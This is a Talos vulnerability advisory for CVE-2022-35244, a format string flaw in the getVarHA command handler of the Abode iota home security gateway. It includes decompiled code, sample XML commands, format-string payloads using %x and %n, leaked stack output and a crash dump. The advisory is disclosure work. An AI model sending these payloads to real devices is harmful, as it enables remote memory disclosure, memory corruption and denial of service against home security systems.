Talos Vulnerability Report

TALOS-2022-1582

Abode Systems, Inc. iota All-In-One Security Kit XCMD getVarHA memory corruption vulnerability

OCTOBER 20, 2022

CVE NUMBER

CVE-2022-35244

SUMMARY

A format string injection vulnerability exists in the XCMD getVarHA functionality of abode systems, inc. iota All-In-One Security Kit 6.9X and 6.9Z. A specially-crafted XCMD can lead to memory corruption, information disclosure, and denial of service. An attacker can send a malicious XML payload to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

abode systems, inc. iota All-In-One Security Kit 6.9X
abode systems, inc. iota All-In-One Security Kit 6.9Z

PRODUCT URLS

iota All-In-One Security Kit - https://goabode.com/product/iota-security-kit

CVSSV3 SCORE

9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-134 - Use of Externally-Controlled Format String

DETAILS

The iota All-In-One Security Kit is a home security gateway containing an HD camera, infrared motion detection sensor, Ethernet, Wi-Fi and Cellular connectivity. The iota gateway orchestrates communications between sensors (cameras, door and window alarms, motion detectors, etc.) distributed on the LAN and the Abode cloud. Users of the iota can communicate with the device through mobile application or web application.

The Abode iota device receives command and control messages (referred to in the application as XCMDs) via an XMPP connection established during the initialization of the `hpgw` application. As of version 6.9Z there are 222 XCMDs registered within the application. Each XCMD is associated with a function intended to handle it. As discussed in TALOS-2022-1552 there is a service running on UDP/55050 that allows an unauthenticated attacker access to execute these XCMDS.

An XCMD, by virtue of being commonly transmitted over XMPP, is a specifically-structured XML payload. Each XCMD must contain a root node `<p>`, which must contain a child element, `<mac>` with an attribute `v` containing the target device MAC Address. There must also be a child element `<cmd>` which must contain an attribute `a` naming the XCMD to be executed. From there, various XCMDs require function-specific child elements that contain information relevent only to that handler. This report will detail a vulnerability in the handling of the `setVarHA` and `getVarHA` XCMDs.

As an example, a standard XCMD for `getVarHA` might appear as follows:

```
<p>
  <mac v="B0:C5:CA:00:00:00"/>
  <cmds>
    <cmd a="getVarHA"/>
  </cmds>
</p>
```

Submitting the above XCMD would cause the device to reply with an XML structure detailing the current key/value pairs for configured Home Assistant (HA) variables. One can configure these HA variables through the use of the `setVarHA` XCMD. An example of that might appear as follows:

```
<p>
  <mac v="B0:C5:CA:00:00:00"/>
  <cmds>
    <cmd a="setVarHA">
      <name v="MyVariableName"/>
      <value v="MyVariableValue"/>
    </cmd>
  </cmds>
</p>
```

The decompilation of the `getVarHA` XCMD handler function, `xcmd_get_var_ha`, is quite straightforward and is included below, in its entirety.

```
int __fastcall xcmd_get_var_ha(xml_t *xcmd, xstrbuf_t *response)
{
  int i;
  xstrbuf_t ha_var;
  ha_var_t var;

  // [1] Initialize an `xstrbuf_t` struct on the stack
  xstrbuf(&ha_var);
  // [2] While elements can still be extracted, extract the n'th element with the
type of "HA"
  for ( n = 0; get_elem_by_name(n, "HA", &var) >= 0; ++n )
  {
    // [3] If there is already data in the `ha_var` xstrbuf, then append a space
    if ( ha_var.length )
      xappend(&ha_var, ' ');

    // [4] Then concatenate the value of the current variable's name and value
    //     Note that `var.name` is an attacker-controlled string set via `setVarHA`
XCMD
    xvsprintfcat(&ha_var, "%s=%d", var.name, var.value);
  }

  // [5] Place the final concatenated string of HA variables into the `response`
xstrbuf as an XML payload
  xml_construct_response(response, 1, 0, ha_var);
  xstrbuf_free_d(&ha_var, "xcmd_get_var_ha");
  return 0;
}
```

At `[1]` an `xstrbuf` is allocated on the stack. This variable will ultimately contain a string containing a concatentation of all HA variable `key=value` pairs. At `[2]`, a loop is entered that will iterate over all variables whose type is “HA” and stores them into `var`. At `[3]`, a simple check occurs to determine whether the `ha_var` xstrbuf already contains

variable data, and if so a space is appended prior to further concatenation. At `[4]`, the variable name and value are concatenated into the `ha_var->pbuf` character array. At `[5]` the entirety of the `xstrbuf->pbuf` is used to construct an XML response.

The function we have chosen to name `xml_construct_response` is located at offset `0x10043C` in the `hpgw` binary included in firmware version 6.9Z. It is this function where the vulnerable format string injection occurs. The decompilation of this function is included below. Recall that at this point the attacker-controlled HA variable name, `var.name`, has been injected into the `ha_var` xstrbuf, which is passed as the `format` parameter of the `xml_construct_response` function.

```
void *xml_construct_response(xstrbuf_t *a1, int ret, int code, const char *format,
...)
{
    va_list arg; // [sp+18h] [bp+0h] BYREF
    va_start(arg, format);
    xsprintfcat(a1, "  <ret>%d</ret><code>%d</code><m>", ret, code);
    xvsprintfcat(a1, (char *)format, arg);
    return xstrncat(a1, "</m>\n", 5);
}
```

`xvsprintfcat` is just a wrapper around `vsnprintf` that will reallocate the underlying character array backing the `xstrbuf_t->pbuf` if the constructed string would overflow the previous allocation. It also concatenates the resulting string onto the destination buffer instead of overwriting it.

After the completion of the `xcmd_get_var_ha` (or any XCMD handler), the contents of the `response` xstrbuf_t are sent back to the XCMD requestor, via XMPP, GHOME, or HTTP.

Were an attacker to create an HA variable with a name of `AAAA%x.%x.%x.%x.%x.%x.%x.%x...`, then a subsequent call to `getVarHA` would leak stack data across the network. Below is an example of such a reply.

```
<?xml version="1.0" encoding="UTF-8"?>
  <p>
    <mac v="B0:C5:CA:33:64:CD"/>
    <cmds>
      <referer v="panel/cgi"/>
      <cmd a="getVarHA" id="f43fcbc5">
        <ret>1</ret>
        <code>0</code>
        <m>

45acf0.100.7c.41414141.3135252e.252e7024.70243235.3335252e.252e7024.70243435=1
        </m>
      </cmd>
    </cmds>
  </p>
```

The device does support the `%n` specifier, so the gamut of format string attacks are applicable remotely in this instance.

Crash Information

In order to demonstrate both the DoS and memory write capabilities of this vulnerability, we submitted an HA variable with a name of `AAAA%x.%x.%x.%n` and observed the results while debugging. Had the target address been a writable address, the value of 0x17 (the length of the string up to that point) would have been written, but in this case it caused a DoS via SEGFAULT for attempting to write to non-writable memory.

```
Thread 38 "hpgw" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 210.340]
0x76b46810 in vfprintf ()
──────────────────────────────────────────────────────────────────────────────
registers ────
$r0  : 0x17
$r1  : 0x76b42cf4  →  <vfprintf+3924> ldr r6,  [r11,  #-1228]   ; 0xfffffb34
$r2  : 0x76b463ac  →  <vfprintf+17932> ldr r3,  [r5,  #60]  ; 0x3c
$r3  : 0x41414141 ("AAAA"?)
$r4  : 0x7146dd48  →  0x7146de20  →  "AAAA.AAAA45a7d0.100.16.AA%x.%x.%x.%n=1"
$r5  : 0x7146dd78  →  0xfbad8001
$r6  : 0x17
$r7  : 0x7146dec8  →  ".AAAA%x.%x.%x.%n"
$r8  : 0x7146deb8  →  0x45a7d0  →  "AAAA.AAAA%x.%x.%x.%n=1"
$r9  : 0x45a7d0  →  "AAAA.AAAA%x.%x.%x.%n=1"
$r10 : 0x0
$r11 : 0x7146dd6c  →  0x76b6bf54  →  <vsnprintf+136> ldr r3,  [sp,  #36]    ; 0x24
$r12 : 0x2e
$sp  : 0x7146d840  →  0x2502a9  →  0x74616c00  →  0x00000000
$lr  : 0x76b439bc  →  <vfprintf+7196> ldr r3,  [r11,  #-1104]   ; 0xfffffbb0
$pc  : 0x76b46810  →  <vfprintf+19056> streq r6,  [r3]
$cpsr: [negative ZERO CARRY overflow interrupt fast thumb]
──────────────────────────────────────────────────────────────────────────────
stack ────
0x7146d840|+0x0000: 0x2502a9  →  0x74616c00  →  0x00000000   ← $sp
0x7146d844|+0x0004: 0x7146deb8  →  0x45a7d0  →  "AAAA.AAAA%x.%x.%x.%n=1"
0x7146d848|+0x0008: 0x7146deb0  →  0x10210c  →  0xe1a0000d ("\r"?)
0x7146d84c|+0x000c: 0x76b42cf4  →  <vfprintf+3924> ldr r6,  [r11,  #-1228]  ;
0xfffffb34
0x7146d850|+0x0010: 0x00000000
0x7146d854|+0x0014: 0x76b42cf4  →  <vfprintf+3924> ldr r6,  [r11,  #-1228]  ;
0xfffffb34
0x7146d858|+0x0018: 0x00000000
0x7146d85c|+0x001c: 0x00000000
──────────────────────────────────────────────────────────────────────────────
code:arm:ARM ────
   0x76b46804 <vfprintf+19044> addeq  r7,  r6,  #4
   0x76b46808 <vfprintf+19048> ldreq  r6,  [r11,  #-1116]   ; 0xfffffba4
   0x76b4680c <vfprintf+19052> addne  r7,  r7,  #4
 → 0x76b46810 <vfprintf+19056> streq  r6,  [r3] TAKEN [Reason: Z]
   0x76b46814 <vfprintf+19060> strhne r6,  [r3]
   0x76b46818 <vfprintf+19064> mov    r4,  r6
   0x76b4681c <vfprintf+19068> b      0x76b43970 <vfprintf+7120>
   0x76b46820 <vfprintf+19072> ldr    r2,  [r11,  #-1236]   ; 0xfffffb2c
   0x76b46824 <vfprintf+19076> ldr    r3,  [r11,  #-1116]   ; 0xfffffba4
──────────────────────────────────────────────────────────────────────────────
──────────
```

TIMELINE

2022-07-20 - Vendor Disclosure

2022-10-20 - Public Release

CREDIT

Discovered by Matt Wiseman of Cisco Talos.
